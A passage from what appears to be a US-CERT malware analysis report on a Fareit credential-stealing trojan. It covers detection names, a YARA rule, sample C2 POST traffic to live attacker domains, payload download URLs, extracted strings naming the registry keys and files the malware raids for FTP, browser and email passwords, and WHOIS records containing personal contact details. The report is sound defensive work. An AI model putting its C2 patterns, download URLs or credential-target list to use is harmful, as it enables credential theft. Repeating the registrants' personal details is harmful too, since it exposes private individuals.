) Systweak trojan.passwordstealer F-secure Gen:Variant.Razy.41230 VirIT Symantec VirusBlokAda Trojan.Win32.Crypt5.AYWX Trojan.Fareit TrojanPSW.Fareit Zillya! Trojan.Fareit.Win32.14782 ClamAV Win.Trojan.Agent-5486256-0 Kaspersky Trojan-PSW.Win32.Fareit.bshk TrendMicro TSPY_FA.CFEECD19 Sophos Avira Troj/Fareit-AMQ TR/AD.Fareit.Y.ehkw Microsoft PWS:Win32/Fareit Ahnlab Trojan/Win32.Fareit US-CERT MIFR-10105049-Update2 19 of 63 The file xtool.exe was not available for download at the time of analysis. This executable file drops and executes a batch file '%Temp%\[random digits].bat' to delete itself and the batch file at the end of the execution. Displayed below are sample connections between the malware and its C2 server. Begin Sample Connections to C2 Server POST /zapoy/gate.php HTTP/1.0 Host: wilcarobbe.com Accept: */* Accept-Encoding: identity, *;q=0 Accept-Language: en-US Content-Length: 196 Content-Type: application/octet-stream Connection: close Content-Encoding: binary User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) ...[xXP..YG.....4...d...S.qO....4.....v..8 ..Y.u. X..3S*3.S..%?.".).....>... >V....H...;4.......OGf.'L..fB.N#.v[H.b_.{..w......j5 POST /zapoy/gate.php HTTP/1.0 Host: littjohnwilhap.ru Accept: */* Accept-Encoding: identity, *;q=0 Accept-Language: en-US Content-Length: 196 Content-Type: application/octet-stream Connection: close Content-Encoding: binary User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) ...[xXP..YG.....4...d...S.qO....4.....v..8 ..Y.u. X..3S*3.S..%?.".).....>... >V....H...;4.......OGf.'L..fB.N#.v[H.b_.{..w......j5 POST /zapoy/gate.php HTTP/1.0 Host: ritsoperrol.ru Accept: */* Accept-Encoding: identity, *;q=0 Accept-Language: en-US Content-Length: 196 Content-Type: application/octet-stream Connection: close Content-Encoding: binary User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) ...[xXP..YG.....4...d...S.qO....4.....v..8 ..Y.u. X..3S*3.S..%?.".).....>... >V....H...;4.......OGf.'L..fB.N#.v[H.b_.{..w......j5 End Sample Connections to C2 Server Static analysis of the unpacked portions of this file indicate it is, among other things, capable of targeting multiple Windows applications. For example, the malware searches the Windows registry for keys utilized by multiple types of Windows email software. If found, the malware attempts to extract email passwords from these keys. This appears to be an attempt to gain unauthorized access to the victim users emails. In addition, the software attempts to find registry keys used by the Windows file management software named Total Commander. This appears to be an attempt to gain unauthorized access to the victim users stored files. The software also contains a list of commonly used passwords. This indicates the malware provides an operator the capability to brute force their way into a victim users email accounts or locations where their files are stored. Displayed below is a YARA signature which may be utilized to detect this software both packed on disk, and running within system memory. Begin YARA Signature US-CERT MIFR-10105049-Update2 21 of 63 rule unidentified_malware_two meta: Author = "US-CERT Code Analysis Team" Date = 16JAN17 Incident = 10105049 File = "9f918fb741e951a10e68ce6874b839aef5a26d60486db31e509f8dcaa13acec5" MD5 = "617BA99BE8A7D0771628344D209E9D8A" strings: $my_string_one = "/zapoy/gate.php" $my_string_two = { E3 40 FE 45 FD 0F B6 45 FD 0F B6 14 38 88 55 FF 00 55 FC 0F B6 45 FC 8A 14 38 88 55 FE 0F B6 45 FD 88 14 38 0F B6 45 FC 8A 55 FF 88 14 38 8A 55 FF 02 55 FE 8A 14 3A 8B 45 F8 30 14 30 } $my_string_three = "S:\\Lidstone\\renewing\\HA\\disable\\In.pdb" $my_string_four = { 8B CF 0F AF CE 8B C6 99 2B C2 8B 55 08 D1 F8 03 C8 8B 45 FC 03 C2 89 45 10 8A 00 2B CB 32 C1 85 DB 74 07 } $my_string_five = "fuckyou1" $my_string_six = "xtool.exe" condition: ($my_string_one and $my_string_two) or ($my_string_three or $my_string_four) or ($my_string_five and $my_string_six) End YARA Signature-Displayed below are strings of interest extracted from the unpacked portions of this malware: Begin Strings of Interest 1DA409EB2825851644CCDAB 1RcpNUE12zpJ8uDaDqlygR70aZl2ogwes wilcarobbe.com/zapoy/gate.php littjohnwilhap.ru/zapoy/gate.php ritsoperrol.ru/zapoy/gate.php one2shoppee.com/system/logs/xtool.exe insta.reduct.ru/system/logs/xtool.exe editprod.waterfilter.in.ua/system/logs/xtool.exe YUIPWDFILE0YUIPKDFILE0YUICRYPTED0YUI1.0 MODU SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall UninstallString DisplayName .exe Software\WinRAR open vaultcli.dll VaultOpenVault VaultEnumerateItems VaultGetItem VaultCloseVault VaultFree kernel32.dll WTSGetActiveConsoleSessionId ProcessIdToSessionId netapi32.dll NetApiBufferFree NetUserEnum ole32.dll StgOpenStorage advapi32.dll AllocateAndInitializeSid CheckTokenMembership FreeSid CredEnumerateA CredFree CryptGetUserKey CryptExportKey CryptDestroyKey CryptReleaseContext RevertToSelf US-CERT MIFR-10105049-Update2 22 of 63 OpenProcessToken ImpersonateLoggedOnUser GetTokenInformation ConvertSidToStringSidA LogonUserA LookupPrivilegeValueA AdjustTokenPrivileges CreateProcessAsUserA crypt32.dll CryptUnprotectData CertOpenSystemStoreA CertEnumCertificatesInStore CertCloseStore CryptAcquireCertificatePrivateKey msi.dll MsiGetComponentPathA pstorec.dll PStoreCreateInstance userenv.dll CreateEnvironmentBlock DestroyEnvironmentBlock vshell32.dll SHGetFolderPathA My Documents AppData Local AppData Cache Cookies History My Documents Common AppData My Pictures Common Documents Common Administrative Tools Administrative Tools Personal Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders explorer.exe S-1-5-18 SeImpersonatePrivilege SeTcbPrivilege SeChangeNotifyPrivilege SeCreateTokenPrivilege SeBackupPrivilege SeRestorePrivilege SeIncreaseQuotaPrivilege SeAssignPrimaryTokenPrivilege GetNativeSystemInfo kernel32.dll IsWow64Process Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/5.0) POST %s HTTP/1.0 Host: %s Accept: */* Accept-Encoding: identity, *;q=0 Accept-Language: en-US Content-Length: %lu Content-Type: application/octet-stream Connection: close Content-Encoding: binary User-Agent: %s Content-Length: Location: \*.* Software\Microsoft\Windows\CurrentVersion\Internet Settings ProxyServer HWID US-CERT MIFR-10105049-Update2 23 of 63 {%08X-%04X-%04X-%02X%02X-%02X%02X%02X%02X%02X%02X} Software\Far\Plugins\FTP\Hosts Software\Far2\Plugins\FTP\Hosts Software\Far Manager\Plugins\FTP\Hosts Software\Far\SavedDialogHistory\FTPHost Software\Far2\SavedDialogHistory\FTPHost Software\Far Manager\SavedDialogHistory\FTPHost Password HostName User Line wcx_ftp.ini \GHISLER InstallDir FtpIniName Software\Ghisler\Windows Commander Software\Ghisler\Total Commander CUTEFTP QCHistory Software\GlobalSCAPE\CuteFTP 6 Home\QCToolbar Software\GlobalSCAPE\CuteFTP 6 Professional\QCToolbar Software\GlobalSCAPE\CuteFTP 7 Home\QCToolbar Software\GlobalSCAPE\CuteFTP 7 Professional\QCToolbar Software\GlobalSCAPE\CuteFTP 8 Home\QCToolbar Software\GlobalSCAPE\CuteFTP 8 Professional\QCToolbar Software\GlobalSCAPE\CuteFTP 9\QCToolbar \GlobalSCAPE\CuteFTP \GlobalSCAPE\CuteFTP Pro \GlobalSCAPE\CuteFTP Lite \CuteFTP \sm.dat Software\FlashFXP\3 Software\FlashFXP Software\FlashFXP\4 InstallerDathPath path Install Path DataFolder \Sites.dat \Quick.dat \History.dat \FlashFXP\3 \FlashFXP\4 \FileZilla \sitemanager.xml \recentservers.xml \filezilla.xml Software\FileZilla Software\FileZilla Client Install_Dir Host User Pass Port Remote Dir Server Type Server.Host Server.User Server.Pass Server.Port Path ServerType Last Server Host Last Server User Last Server Pass Last Server Port Last Server Path Last Server Type Software\FTPWare\COREFTP\Sites Host User Port US-CERT MIFR-10105049-Update2 24 of 63 PthR .ini \VanDyke\Config\Sessions \Sessions Software\VanDyke\SecureFX Config Path Password HostName UserName RemoteDirectory PortNumber FSProtocol Software\Martin Prikryl http[:]// https[:]// ftp:// opera wand.dat _Software\Opera Software Last Directory3 Last Install Path Opera.HTML\shell\open\command \Opera Software nss3.dll NSS_Init NSS_Shutdown NSSBase64_DecodeBuffer SECITEM_FreeItem PK11_GetInternalKeySlot PK11_Authenticate PK11SDR_Decrypt PK11_FreeSlot profiles.ini Profile IsRelative Path PathToExe prefs.js logins.json signons.sqlite signons.txt signons2.txt signons3.txt encryptedPassword":" encryptedUsername":" hostname":" Firefox \Mozilla\Firefox\ Software\Mozilla --ftp:// http[:]// https[:]// ftp. Mozilla \Mozilla\Profiles\ Favorites.dat WinFTP Internet Explorer WininetCacheCredentials MS IE FTP Passwords DPAPI: @J7< AJ7< BJ7< %02X Software\Microsoft\Internet Explorer\IntelliForms\Storage2 SOFTWARE\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage US-CERT MIFR-10105049-Update2 25 of 63 \microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\IntelliForms\FormData http[:]//www[.]facebook.com/ Microsoft_WinInet_* ftp:// SspiPfc ;USQLite format 3 table CONSTRAINT PRIMARY UNIQUE CHECK FOREIGN Web Data Login Data logins origin_url password_value username_value ftp:// http[:]// https[:]// moz_logins hostname encryptedPassword encryptedUsername \Google\Chrome \Chromium \ChromePlus Software\ChromePlus Install_Dir .rdp TERMSRV/* password 51:b: username:s: full address:s: TERMSRV/ .oeaccount Salt <_OP3_Password2 <_MTP_Password2 >> Last update of whois database: Mon, 16 Jan 2017 12:55:58 GMT <<< Queried whois.networksolutions.com with "directinvesting.com"... Domain Name: DIRECTINVESTING.COM Registry Domain ID: 5318825_DOMAIN_COM-VRSN Registrar WHOIS Server: whois.networksolutions.com Registrar URL: http[:]//networksolutions.com Updated Date: 2016-06-04T07:10:34Z Creation Date: 1997-08-04T04:00:00Z Registrar Registration Expiration Date: 2021-08-03T04:00:00Z Registrar: NETWORK SOLUTIONS, LLC. Registrar IANA ID: 2 Registrar Abuse Contact Email: abuse@web.com Registrar Abuse Contact Phone: +1.8003337680 Reseller: Domain Status: clientTransferProhibited https[:]//icann.org/epp#clientTransferProh bited Registry Registrant ID: Registrant Name: The Moneypaper Inc. Registrant Organization: The Moneypaper Inc. Registrant Street: 555 THEODORE FREMD AVE STE B103 Registrant City: RYE Registrant State/Province: NY Registrant Postal Code: 10580-1456 Registrant Country: US Registrant Phone: +1.9149250022 Registrant Phone Ext: Registrant Fax: +1.9149219318 Registrant Fax Ext: Registrant Email: vnelson@moneypaper.com Registry Admin ID: Admin Name: Nelson, Vita Admin Organization: Money Paper Inc Admin Street: 411 THEODORE FREMD AVE Admin City: RYE Admin State/Province: NY Admin Postal Code: 10580-1410 US-CERT MIFR-10105049-Update2 32 of 63 Admin Country: US Admin Phone: +1.9149250022 Admin Phone Ext: Admin Fax: +1.9149215745 Admin Fax Ext: Admin Email: vnelson@moneypaper.com Registry Tech ID: Tech Name: Nelson, Vita Tech Organization: Money Paper Inc Tech Street: 411 THEODORE FREMD AVE Tech City: RYE Tech State/Province: NY Tech Postal Code: 10580-1410 Tech Country: US Tech Phone: +1.9149250022 Tech Phone Ext: Tech Fax: +1.9149215745 Tech Fax Ext: Tech Email: vnelson@moneypaper.com Name Server: NS1.LNHI.NET Name Server: NS2.LNHI.NET Name Server: NS3.LNHI.NET DNSSEC: Unsigned URL of the ICANN WHOIS Data Problem Reporting System: http[:]//wdprs.internic.net/ >>> Last update of WHOIS database: 2017-01-16T12:56:12Z <<< Network Whois record Queried whois.arin.net with "n ! NET-204-12-12-32-1"... NetRange: 204.12.12.32 - 204.12.12.63 CIDR: 204.12.12.32/27 NetName: THEMONEYPAPERINC NetHandle: NET-204-12-12-32-1 Parent: HOSTMYSITE (NET-204-12-0-0-1) NetType: Reassigned OriginAS: AS20021 Customer: THE MONEYPAPER INC. (C02687180) RegDate: 2011-02-03 Updated: 2011-02-03 Ref: https[:]//whois.arin.net/rest/net/NET-204-12-12-32-1 CustName: THE MONEYPAPER INC. Address: 555 THEODORE FREMD AVENUE SUITE B-103 City: StateProv: PostalCode: 10580 Country: RegDate: 2011-02-03 Updated: 2011-03-19 Ref: https[:]//whois.arin.net/rest/customer/C02687180 OrgNOCHandle: IPADM271-ARIN OrgNOCName: IP Admin OrgNOCPhone: +1-302-731-4948 OrgNOCEmail: ipadmin@hostmysite.com OrgNOCRef: https[:]//whois.arin.net/rest/poc/IPADM271-ARIN OrgTechHandle: IPADM271-ARIN OrgTechName: IP Admin OrgTechPhone: +1-302-731-4948 OrgTechEmail: ipadmin@hostmysite.com OrgTechRef: https[:]//whois.arin.net/rest/poc/IPADM271-ARIN OrgAbuseHandle: ABUSE1072-ARIN OrgAbuseName: Abuse OrgAbusePhone: +1-302-731-4948 OrgAbuseEmail: abuse@hostmysite.com OrgAbuseRef: https[:]//whois.arin.net/rest/poc/ABUSE1072-ARIN RNOCHandle: IPADM271-ARIN RNOCName: IP Admin RNOCPhone: +1-302-731-4948 RNOCEmail: ipadmin@hostmysite.com RNOCRef: https[:]//whois.arin.net/rest/poc/IPADM271-ARIN RTechHandle: IPADM271-ARIN RTechName: IP Admin RTechPhone: +1-302-731-4948 RTechEmail: ipadmin@hostmysite.com US-CERT MIFR-10105049-Update2 33 of 63 RTechRef: https[:]//whois.arin.net/rest/poc/IPADM271-ARIN RAbuseHandle: IPADM271-ARIN RAbuseName: IP Admin RAbusePhone: +1-302-731-4948 RAbuseEmail: ipadmin@hostmysite.com RAbuseRef: https[:]//whois.arin.net/rest/poc/IPADM271-ARIN DNS records DNS query for 40.12.12.204.in-addr.arpa returned an error from the server: NameError name class type data time to live private.directinvesting.com IN A 204.12.12.40 3600s (01:00:00) directinvesting.com IN SOA server: ns1.lnhi.net email: administrator@lnhi.net serial: refresh: 10800 retry: 3600 expire: 604800 minimum ttl: 3600 3600s (01:00:00) directinvesting.com IN NS ns3.lnhi.net 3600s (01:00:00) directinvesting.com IN NS ns1.lnhi.net 3600s (01:00:00) directinvesting.com IN NS ns2.lnhi.net 3600s (01:00:00) directinvesting.com IN A 204.12.12.41 3600s (01:00:00) directinvesting.com IN MX preference: exchange: mail.moneypaper.com 3600s (01:00:00) Relationships (D) private.directinvesting.com Characterized_By (W) Address lookup (D) private.directinvesting.com Connected_From 55058d3427ce932d8efcbe54dccf97c9a8d1e85c7 67814e34f4b2b6a6b305641 (8f154) (D) private.directinvesting.com Related_To (H) GET /lexicon/index.c (D) private.directinvesting.com Related_To (H) GET /lexicon/index.c (D) private.directinvesting.com Related_To (H) GET /lexicon/index.c (D) private.directinvesting.com Related_To (I) 204.12.12.40 Description Identified Command and Control Location. cderlearn.com HTTP Sessions POST /search.cfm HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) Host: www[.]cderlearn.com Content-Length: 38 Connection: Keep-Alive Cache-Control: no-cache Pragma: no-cache rss=a5ce5fa&pg=f8&sa=8816db73d479e8e35 POST /search.cfm HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) Host: www[.]cderlearn.com Content-Length: 46 Cache-Control: no-cache id=3&source=a804b4b73d479eebea&rss=53d0&ei=d3c US-CERT MIFR-10105049-Update2 34 of 63 Whois Address lookup canonical name cderlearn.com. aliases addresses 209.236.67.159 Domain Whois record Queried whois.internic.net with "dom cderlearn.com"... Domain Name: CDERLEARN.COM Registrar: GODADDY.COM, LLC Sponsoring Registrar IANA ID: 146 Whois Server: whois.godaddy.com Referral URL: http[:]//www[.]godaddy.com Name Server: NS1.WESTSERVERS.NET Name Server: NS2.WESTSERVERS.NET Status: clientDeleteProhibited https[:]//icann.org/epp#clientDeleteProhibited Status: clientRenewProhibited https[:]//icann.org/epp#clientRenewProhibited Status: clientTransferProhibited https[:]//icann.org/epp#clientTransferProh bited Status: clientUpdateProhibited https[:]//icann.org/epp#clientUpdateProhibited Updated Date: 03-feb-2016 Creation Date: 02-feb-2016 Expiration Date: 02-feb-2018 >>> Last update of whois database: Mon, 16 Jan 2017 12:57:44 GMT <<< Queried whois.godaddy.com with "cderlearn.com"... Domain Name: cderlearn.com Registry Domain ID: 1999727892_DOMAIN_COM-VRSN Registrar WHOIS Server: whois.godaddy.com Registrar URL: http[:]//www[.]godaddy.com Update Date: 2016-02-02T20:49:41Z Creation Date: 2016-02-02T20:49:41Z Registrar Registration Expiration Date: 2018-02-02T20:49:41Z Registrar: GoDaddy.com, LLC Registrar IANA ID: 146 Registrar Abuse Contact Email: abuse@godaddy.com Registrar Abuse Contact Phone: +1.4806242505 Domain Status: clientTransferProhibited http[:]//www[.]icann.org/epp#clientTransferProh bited Domain Status: clientUpdateProhibited http[:]//www[.]icann.org/epp#clientUpdateProhibited Domain Status: clientRenewProhibited http[:]//www[.]icann.org/epp#clientRenewProhibited Domain Status: clientDeleteProhibited http[:]//www[.]icann.org/epp#clientDeleteProhibited Registry Registrant ID: Not Available From Registry Registrant Name: Craig Audley Registrant Organization: Registrant Street: 1 carpenters cottages Registrant City: holt Registrant State/Province: norfolk Registrant Postal Code: nr256sa Registrant Country: UK Registrant Phone: +44.1263710645 Registrant Phone Ext: Registrant Fax: Registrant Fax Ext: Registrant Email: craigaudley@gmail.com Registry Admin ID: Not Available From Registry Admin Name: Craig Audley Admin Organization: Admin Street: 1 carpenters cottages Admin City: holt Admin State/Province: norfolk Admin Postal Code: nr256sa Admin Country: UK Admin Phone: +44.1263710645 Admin Phone Ext: Admin Fax: Admin Fax Ext: Admin Email: craigaudley@gmail.com Registry Tech ID: Not Available From Registry Tech Name: Craig Audley Tech Organization: Tech Street: 1 carpenters cottages Tech City: holt US-CERT MIFR-10105049-Update2 35 of 63 Tech State/Province: norfolk Tech Postal Code: nr256sa Tech Country: UK Tech Phone: +44.1263710645 Tech Phone Ext: Tech Fax: Tech Fax Ext: Tech Email: craigaudley@gmail.com Name Server: NS1.WESTSERVERS.NET Name Server: NS2.WESTSERVERS.NET DNSSEC: unsigned URL of the ICANN WHOIS Data Problem Reporting System: http[:]//wdprs.internic.net/ >>> Last update of WHOIS database: 2017-01-16T12:00:00Z <<< Network Whois record Queried secure.mpcustomer.com with "209.236.67.159"... Queried whois.arin.net with "n 209.236.67.159"... NetRange: 209.236.64.0 - 209.236.79.255 CIDR: 209.236.64.0/20 NetName: WH-NET-209-236-64-0-1 NetHandle: NET-209-236-64-0-1 Parent: NET209 (NET-209-0-0-0-0) NetType: Direct Allocation OriginAS: AS29854 Organization: WestHost, Inc. (WESTHO) RegDate: 2010-02-25 Updated: 2014-01-02 Ref: https[:]//whois.arin.net/rest/net/NET-209-236-64-0-1 OrgName: WestHost, Inc. OrgId: WESTHO Address: 517 W 100 N STE 225 City: Providence StateProv: PostalCode: 84332 Country: RegDate: 2000-03-13 Updated: 2016-09-30 Comment: Please report abuse issues to abuse@uk2group.com Ref: https[:]//whois.arin.net/rest/org/WESTHO ReferralServer: rwhois://secure.mpcustomer.com:4321 OrgNOCHandle: NOC12189-ARIN OrgNOCName: NOC OrgNOCPhone: +1-435-755-3433 OrgNOCEmail: noc@uk2group.com OrgNOCRef: https[:]//whois.arin.net/rest/poc/NOC12189-ARIN OrgTechHandle: WESTH1-ARIN OrgTechName: WestHost Inc OrgTechPhone: +1-435-755-3433 OrgTechEmail: noc@uk2group.com OrgTechRef: https[:]//whois.arin.net/rest/poc/WESTH1-ARIN OrgAbuseHandle: WESTH2-ARIN OrgAbuseName: WestHost Abuse OrgAbusePhone: +1-435-755-3433 OrgAbuseEmail: abuse@uk2group.com OrgAbuseRef: https[:]//whois.arin.net/rest/poc/WESTH2-ARIN RTechHandle: WESTH1-ARIN RTechName: WestHost Inc RTechPhone: +1-435-755-3433 RTechEmail: noc@uk2group.com RTechRef: https[:]//whois.arin.net/rest/poc/WESTH1-ARIN RNOCHandle: WESTH1-ARIN RNOCName: WestHost Inc RNOCPhone: +1-435-755-3433 RNOCEmail: noc@uk2group.com RNOCRef: https[:]//whois.arin.net/rest/poc/WESTH1-ARIN RAbuseHandle: WESTH2-ARIN RAbuseName: WestHost Abuse RAbusePhone: +1-435-755-3433 RAbuseEmail: abuse@uk2group.com RAbuseRef: https[:]//whois.arin.net/rest/poc/WESTH2-ARIN DNS records US-CERT MIFR-10105049-Update2 36 of 63 name class type data time to live cderlearn.com IN MX preference: exchange: cderlearn.com 14400s (04:00:00) cderlearn.com IN SOA server: ns1.westservers.net email: hostmaster@westservers.net serial: 2016020303 refresh: 86400 retry: 7200 expire: 604800 minimum ttl: 600 86400s (1.00:00:00) cderlearn.com IN NS ns2.westservers.net 86400s (1.00:00:00) cderlearn.com IN NS ns1.westservers.net 86400s (1.00:00:00) cderlearn.com IN A 209.236.67.159 14400s (04:00:00) 159.67.236.209.in-addr.arpa IN PTR dl-573-57.slc.westdc.net 86400s (1.00:00:00) 67.236.209.in-addr.arpa IN SOA server: ns1.westdc.net email: hostmaster@westdc.net serial: 2010074157 refresh: 28800 retry: 7200 expire: 604800 minimum ttl: 600 86400s (1.00:00:00) 67.236.209.in-addr.arpa IN NS ns3.westdc.net 86400s (1.00:00:00) 67.236.209.in-addr.arpa IN NS ns1.westdc.net 86400s (1.00:00:00) 67.236.209.in-addr.arpa IN NS ns2.westdc.net 86400s (1.00:00:00) Relationships (D) cderlearn.com Characterized_By (W) Address lookup (D) cderlearn.com Connected_From 9acba7e5f972cdd722541a23ff314ea81ac35d5c0 c758eb708fb6e2cc4f598a0 (ae7e3) (D) cderlearn.com Related_To (H) POST /search.cfm HTT (D) cderlearn.com Related_To (H) POST /search.cfm HTT (D) cderlearn.com Related_To (I) 209.236.67.159 Description Identified Command and Control location. wilcarobbe.com Ports HTTP Sessions POST /zapoy/gate.php HTTP/1.0 Host: wilcarobbe.com Accept: */* Accept-Encoding: identity, *;q=0 Accept-Language: en-US Content-Length: 196 Content-Type: application/octet-stream Connection: close Content-Encoding: binary User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) ...[xXP..YG.....4...d...S.qO....4.....v..8 ..Y.u. X..3S*3.S..%?.".).....>... >V....H...;4.......OGf.'L..fB.N#.v[H.b_.{..w......j5 Whois Address lookup US-CERT MIFR-10105049-Update2 37 of 63 lookup failed wilcarobbe.com A temporary error occurred during the lookup. Trying again may succeed. Domain Whois record Queried whois.internic.net with "dom wilcarobbe.com"... Domain Name: WILCAROBBE.COM Registrar: BIZCN.COM, INC. Sponsoring Registrar IANA ID: 471 Whois Server: whois.bizcn.com Referral URL: http[:]//www[.]bizcn.com Name Server: NS0.XTREMEWEB.DE Name Server: NS3.XTREMEWEB.DE Status: clientDeleteProhibited https[:]//icann.org/epp#clientDeleteProhibited Status: clientTransferProhibited https[:]//icann.org/epp#clientTransferProh bited Updated Date: 07-nov-2016 Creation Date: 11-apr-2016 Expiration Date: 11-apr-2017 >>> Last update of whois database: Mon, 16 Jan 2017 13:05:45 GMT <<< Queried whois.bizcn.com with "wilcarobbe.com"... Domain name: wilcarobbe.com Registry Domain ID: 2020708223_DOMAIN_COM-VRSN Registrar WHOIS Server: whois.bizcn.com Registrar URL: http[:]//www[.]bizcn.com Updated Date: 2016-04-11T17:42:02Z Creation Date: 2016-04-11T17:42:00Z Registrar Registration Expiration Date: 2017-04-11T17:42:00Z Registrar: Bizcn.com,Inc. Registrar IANA ID: 471 Registrar Abuse Contact Email: abuse@bizcn.com Registrar Abuse Contact Phone: +86.5922577888 Reseller: Cnobin Technology HK Limited Domain Status: clientDeleteProhibited (http[:]//www[.]icann.org/epp#clientDeleteProhibited) Domain Status: clientTransferProhibited (http[:]//www[.]icann.org/epp#clientTransferProhibited) Registry Registrant ID: Registrant Name: Arsen Ramzanov Registrant Organization: NA Registrant Street: Zlatoustskaya str, 14 fl 2 Registrant City: Sadovoye Registrant State/Province: Groznenskaya obl Registrant Postal Code: 366041 Registrant Country: ru Registrant Phone: +7.4959795033 Registrant Phone Ext: Registrant Fax: +7.4959795033 Registrant Fax Ext: Registrant Email: arsen.ramzanov@yandex.ru Registry Admin ID: Admin Name: Arsen Ramzanov Admin Organization: NA Admin Street: Zlatoustskaya str, 14 fl 2 Admin City: Sadovoye Admin State/Province: Groznenskaya obl Admin Postal Code: 366041 Admin Country: ru Admin Phone: +7.4959795033 Admin Phone Ext: Admin Fax: +7.4959795033 Admin Fax Ext: Admin Email: arsen.ramzanov@yandex.ru Registry Tech ID: Tech Name: Arsen Ramzanov Tech Organization: NA Tech Street: Zlatoustskaya str, 14 fl 2 Tech City: Sadovoye Tech State/Province: Groznenskaya obl Tech Postal Code: 366041 Tech Country: ru Tech Phone: +7.4959795033 Tech Phone Ext: Tech Fax: +7.4959795033 Tech Fax Ext: US-CERT MIFR-10105049-Update2 38 of 63 Tech Email: arsen.ramzanov@yandex.ru Name Server: ns0.xtremeweb.de Name Server: ns3.xtremeweb.de DNSSEC: unsignedDelegation URL of the ICANN WHOIS Data Problem Reporting System: http[:]//wdprs.internic.net/ >>> Last update of WHOIS database: 2017-01-16T13:06:08Z Network Whois record Don't have an IP address for which to get a record DNS records DNS query for wilcarobbe.com returned an error from the server: ServerFailure No records to display Relationships (D) wilcarobbe.com Characterized_By (W) Address lookup (D) wilcarobbe.com Connected_From 9f918fb741e951a10e68ce6874b839aef5a26d604 86db31e509f8dcaa13acec5 (617ba) (D) wilcarobbe.com Related_To (H) POST /zapoy/gate.php (D) wilcarobbe.com Related_To (P) 80 Description Identified Command and Control Location. one2shoppee.com Ports Whois Address lookup canonical name one2shoppee.com. aliases addresses 2604:5800:0:23::8 69.195.129.72 Domain Whois record Queried whois.internic.net with "dom one2shoppee.com"... Domain Name: ONE2SHOPPEE.COM Registrar: DYNADOT, LLC Sponsoring Registrar IANA ID: 472 Whois Server: whois.dynadot.com Referral URL: http[:]//www[.]dynadot.com Name Server: NS1.DYNADOT.COM Name Server: NS2.DYNADOT.COM Status: clientTransferProhibited https[:]//icann.org/epp#clientTransferProh bited Updated Date: 05-jan-2017 Creation Date: 05-jan-2017 Expiration Date: 05-jan-2018 >>> Last update of whois database: Mon, 16 Jan 2017 13:01:15 GMT <<< Queried whois.dynadot.com with "one2shoppee.com"... Domain Name: ONE2SHOPPEE.COM Registry Domain ID: 2087544116_DOMAIN_COM-VRSN Registrar WHOIS Server: whois.dynadot.com Registrar URL: http[:]//www[.]dynadot.com Updated Date: 2017-01-05T10:40:34.0Z Creation Date: 2017-01-05T10:40:32.0Z Registrar Registration Expiration Date: 2018-01-05T10:40:32.0Z Registrar: DYNADOT LLC Registrar IANA ID: 472 Registrar Abuse Contact Email: abuse@dynadot.com Registrar Abuse Contact Phone: +1.6502620100 Domain Status: clientTransferProhibited Registry Registrant ID: Registrant Name: Authorized Representative Registrant Organization: Kleissner & Associates s.r.o. Registrant Street: Na strzi 1702/65 Registrant City: Praha Registrant Postal Code: 140 00 US-CERT MIFR-10105049-Update2 39 of 63 Registrant Country: CZ Registrant Phone: +420.00000000 Registrant Email: domains@virustracker.info Registry Admin ID: Admin Name: Authorized Representative Admin Organization: Kleissner & Associates s.r.o. Admin Street: Na strzi 1702/65 Admin City: Praha Admin Postal Code: 140 00 Admin Country: CZ Admin Phone: +420.00000000 Admin Email: domains@virustracker.info Registry Tech ID: Tech Name: Authorized Representative Tech Organization: Kleissner & Associates s.r.o. Tech Street: Na strzi 1702/65 Tech City: Praha Tech Postal Code: 140 00 Tech Country: CZ Tech Phone: +420.00000000 Tech Email: domains@virustracker.info Name Server: ns1.dynadot.com Name Server: ns2.dynadot.com DNSSEC: unsigned URL of the ICANN WHOIS Data Problem Reporting System: http[:]//wdprs.internic.net/ >>> Last update of WHOIS database: 2017-01-16 04:56:51 -0800 <<< Network Whois record Whois query for 69.195.129.72 failed: TimedOut Queried whois.arin.net with "n 69.195.129.72"... NetRange: 69.195.128.0 - 69.195.159.255 CIDR: 69.195.128.0/19 NetName: JOESDC-01 NetHandle: NET-69-195-128-0-1 Parent: NET69 (NET-69-0-0-0-0) NetType: Direct Allocation OriginAS: AS19969 Organization: Joe's Datacenter, LLC (JOESD) RegDate: 2010-07-09 Updated: 2015-03-06 Ref: https[:]//whois.arin.net/rest/net/NET-69-195-128-0-1 OrgName: Joe's Datacenter, LLC OrgId: JOESD Address: 1325 Tracy Ave City: Kansas City StateProv: PostalCode: 64106 Country: RegDate: 2009-08-21 Updated: 2014-06-28 Ref: https[:]//whois.arin.net/rest/org/JOESD ReferralServer: rwhois://support.joesdatacenter.com:4321 OrgAbuseHandle: NAA25-ARIN OrgAbuseName: Network Abuse Administrator OrgAbusePhone: +1-816-726-7615 OrgAbuseEmail: security@joesdatacenter.com OrgAbuseRef: https[:]//whois.arin.net/rest/poc/NAA25-ARIN OrgTechHandle: JPM84-ARIN OrgTechName: Morgan, Joe Patrick OrgTechPhone: +1-816-726-7615 OrgTechEmail: joe@joesdatacenter.com OrgTechRef: https[:]//whois.arin.net/rest/poc/JPM84-ARIN OrgNOCHandle: JPM84-ARIN OrgNOCName: Morgan, Joe Patrick OrgNOCPhone: +1-816-726-7615 OrgNOCEmail: joe@joesdatacenter.com OrgNOCRef: 